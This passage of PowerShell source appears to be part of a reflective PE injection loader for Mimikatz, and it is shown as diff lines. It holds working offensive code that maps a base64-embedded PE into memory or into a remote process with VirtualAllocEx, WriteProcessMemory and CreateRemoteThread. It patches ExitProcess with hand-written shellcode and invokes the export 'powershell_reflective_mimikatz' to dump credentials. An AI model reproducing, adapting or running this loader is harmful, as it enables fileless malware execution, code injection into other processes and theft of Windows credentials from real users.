[System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + + try + { + $Processors = Get-WmiObject -Class Win32_Processor + } + catch + { + throw ($_.Exception) + } + + if ($Processors -is [array]) + { + $Processor = $Processors[0] + } else { + $Processor = $Processors + } + + if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) + { + Write-Verbose ( "Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8)) + Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop + } + + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + $PEBytes[0] = 0 + $PEBytes[1] = 0 + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "powershell_reflective_mimikatz" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) + [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) + if ($OutputPtr -eq [IntPtr]::Zero) + { + Throw "Unable to get output, Output Ptr is NULL" + } + else + { + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + $Win32Functions.LocalFree.Invoke($OutputPtr); + } + ######################################### 